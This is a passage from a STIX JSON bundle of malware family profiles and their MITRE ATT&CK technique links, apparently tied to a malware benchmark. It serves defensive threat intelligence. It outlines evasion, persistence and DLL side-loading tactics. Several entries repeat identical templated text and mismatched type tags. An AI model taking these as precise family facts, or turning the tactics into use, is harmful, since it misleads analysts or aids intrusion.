infrastructure.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Carbanak",
        "Trojan.Karamanak",
        "APT.FIN7.Carbanak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Karamanak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/karamanak"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da54e029-8e86-54d6-9dd7-196b888bcd14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc10419e-36b2-5cc8-b931-17fde09caa7b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karamanak exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbfcacc1-bc74-5521-a628-886e8d68956f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc10419e-36b2-5cc8-b931-17fde09caa7b",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karamanak exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--543225e6-c729-57db-abd0-e79a02bcf749",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc10419e-36b2-5cc8-b931-17fde09caa7b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karamanak exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a351cd37-ff40-5c82-8865-b03d5097e8dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc10419e-36b2-5cc8-b931-17fde09caa7b",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karamanak exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a98abfb-75ca-5392-8b11-3ca44de7e256",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc10419e-36b2-5cc8-b931-17fde09caa7b",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karamanak exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--773d3ab0-767a-5498-b8ad-b357ac3314f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Karius",
      "description": "Trojan:Win32/Karius is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Karius</b><br>To an end-user, a Karius infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Karius is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Karius is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Karius frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Karius reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Karius",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/karius"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1111d609-5e32-5140-bd5f-2a45847a6861",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--773d3ab0-767a-5498-b8ad-b357ac3314f1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karius exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb0cb001-c59b-52b6-8de1-4617e9ea4237",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--773d3ab0-767a-5498-b8ad-b357ac3314f1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karius exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33678f20-8c8e-58c1-8ebe-094a411c2d33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--773d3ab0-767a-5498-b8ad-b357ac3314f1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karius exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14693608-7b5a-53b3-840d-0e2ff6151a0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--773d3ab0-767a-5498-b8ad-b357ac3314f1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karius exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3bbdb36b-a872-54fc-9d55-67dfec86e7be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--773d3ab0-767a-5498-b8ad-b357ac3314f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Karius exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--295c6654-76b0-5c26-8562-f0cab12257ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kaseya",
      "description": "HackTool:Win32/Kaseya (or related detections) does not refer to the Kaseya VSA software itself as being inherently malicious, but rather flags the abuse of this legitimate IT management platform in one of the most significant **Supply Chain Attacks** in history. In 2021, the REvil (Sodinokibi) ransomware gang exploited zero-day vulnerabilities in the Kaseya VSA server infrastructure to automatically deploy ransomware to thousands of downstream Managed Service Provider (MSP) clients.<br><br><b>Understanding the Kaseya Supply Chain Attack</b><br>To an end-user, the infection appeared as a sudden, catastrophic ransomware encryption of their entire network. For security analysts, this represents the ultimate nightmare: a trusted, highly privileged administrative tool (`T1199`) being hijacked to distribute malware. Because Kaseya VSA agents inherently possess SYSTEM-level privileges on the endpoints they manage, the ransomware bypassed normal behavioral defenses.<br><br><b>Execution and Exploitation Mechanics</b><br>The attackers did not phish individual users. They exploited authentication bypass and command injection vulnerabilities on internet-facing Kaseya VSA servers (`T1190`). Once compromised, the attackers used the VSA server's legitimate software deployment capabilities to push a malicious update down to all connected endpoint agents (`T1199`). The payload consisted of a legitimate, older version of Microsoft Defender (`MsMpEng.exe`) vulnerable to DLL side-loading, and a malicious DLL (`mpsvc.dll`) containing the REvil ransomware encryptor (`T1574.002`). The VSA agent executed the legitimate Defender process, which side-loaded the ransomware, executing the encryption routine with SYSTEM privileges and disabling local defenses (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact was massive, simultaneous encryption of thousands of businesses globally. Host-based IoCs associated with this specific attack include the presence of `agent.crt` (the dropped payload) in the `c:\\kworking\\` directory (the default Kaseya working folder), the execution of `MsMpEng.exe` from an unusual location, and the side-loading of `mpsvc.dll`. Network IoCs were minimal during execution, as the payload was delivered via the trusted VSA encrypted channel. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kaseya",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kaseya"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2017-18362"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--71d2422c-5ccd-596f-bf01-715c25b32545",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1199: Trusted Relationship (Exploiting MSP infrastructure)",
      "description": "MITRE ATT&CK Technique T1199 (Trusted Relationship (Exploiting MSP infrastructure)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1199",
          "url": "https://attack.mitre.org/techniques/T1199/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d7e7cc3-5f4a-5555-bc38-a1beba7f65c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--295c6654-76b0-5c26-8562-f0cab12257ce",
      "target_ref": "attack-pattern--71d2422c-5ccd-596f-bf01-715c25b32545",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaseya exhibits technique T1199 (Trusted Relationship (Exploiting MSP infrastructure))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcd49605-1a07-5a0a-9d5d-ae29adf35075",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--295c6654-76b0-5c26-8562-f0cab12257ce",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaseya exhibits technique T1190 (Exploit Public-Facing Application (Exploiting the VSA Server))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--636f1040-9e87-5588-b9ac-ea77b6e89102",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--295c6654-76b0-5c26-8562-f0cab12257ce",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaseya exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Using MsMpEng.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d659b622-5b75-566d-b807-9b2b16613322",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--295c6654-76b0-5c26-8562-f0cab12257ce",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaseya exhibits technique T1486 (Data Encrypted for Impact (REvil Ransomware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kasidet",
      "description": "Kasidet (cataloged across threat research as Neutrino Bot, Win32/Kasidet, Trojan.Kasidet, and Backdoor:Win32/Kasidet) is a sophisticated modular Windows botnet agent, backdoor, and Point-of-Sale (POS) memory scraper that emerged in late 2013. Designed for multi-purpose cybercriminal campaigns, Kasidet incorporates aggressive anti-analysis and anti-virtual machine evasion routines to defeat sandbox analysis before establishing persistent command-and-control connectivity. Its specialized memory-scraping module searches running process memory for Track 1 and Track 2 magnetic stripe payment card structures using regular expressions. In addition to payment card theft, Kasidet provides attackers with keylogging, browser form grabbing, remote shell execution, DDoS flood attacks (HTTP, UDP, SYN), and secondary payload staging. Threat actors frequently distribute Kasidet via spear-phishing emails containing malicious Microsoft Office attachments that exploit memory corruption and equation editor vulnerabilities. (Observed samples in benchmark: 294)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Neutrino Bot",
        "Win32/Kasidet",
        "Trojan.Kasidet",
        "Backdoor:Win32/Kasidet",
        "NeutrinoPOS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kasidet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kasidet"
        }
      ],
      "labels": [
        "pos_malware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c306afc3-7c52-51a7-b6dc-d3fd1ac53612",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasidet exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fb9b223-097c-5554-bfa7-7e80e02a2053",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasidet exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b28524b-dc1d-5542-802b-d7d67e207103",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasidet exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc90a7ce-907a-5896-86b1-db368db663ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasidet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cad4c1a4-92c3-51c8-b643-c4f8765db835",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasidet exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--555d6840-894e-5d01-886e-6e0bcf90ddb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37b4803c-3375-52dd-b49b-ea751e0aa79b",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasidet exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a2ca510f-a030-5e6a-a2b7-afce33d57552",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kasinst",
      "description": "Trojan:Win32/Kasinst is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kasinst</b><br>To an end-user, a Kasinst infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kasinst is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kasinst is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kasinst frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kasinst reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kasinst",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kasinst"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bec10dfb-e4d3-5af8-a39b-e2d955e5e2ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2ca510f-a030-5e6a-a2b7-afce33d57552",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasinst exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac63d629-6294-51e9-b585-0e7c1e12c27e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2ca510f-a030-5e6a-a2b7-afce33d57552",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasinst exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f50bf091-366b-594a-8c83-d436a137c466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2ca510f-a030-5e6a-a2b7-afce33d57552",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasinst exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2e347e6-dc61-52d0-bc08-5e722a0644a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2ca510f-a030-5e6a-a2b7-afce33d57552",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasinst exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bda51db-5e43-5c45-9850-085fc557f25a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2ca510f-a030-5e6a-a2b7-afce33d57552",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kasinst exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10bc7896-6b13-51fe-8fa4-efe1e4b8538a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kastenl",
      "description": "<h3>Executive Summary</h3>\nKastenl is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKastenl is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Kastenl operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Kastenl ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Kastenl receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kastenl infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Kastenl executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Kastenl frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kastenl",
        "Downloader.Kastenl",
        "Win32/Kastenl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kastenl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kastenl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de9fe21f-1366-53fb-a366-7ec43497babe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10bc7896-6b13-51fe-8fa4-efe1e4b8538a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kastenl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ace8952b-476d-52d8-b519-3f55bfa20111",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10bc7896-6b13-51fe-8fa4-efe1e4b8538a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kastenl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1294f955-0da3-5eea-9658-7fa450aa2bc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10bc7896-6b13-51fe-8fa4-efe1e4b8538a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kastenl exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f1eb47d3-f153-5e2d-b3e0-a401278c47cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kate",
      "description": "Trojan:Win32/Kate is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kate</b><br>To an end-user, a Kate infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kate is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kate is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kate frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kate reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks 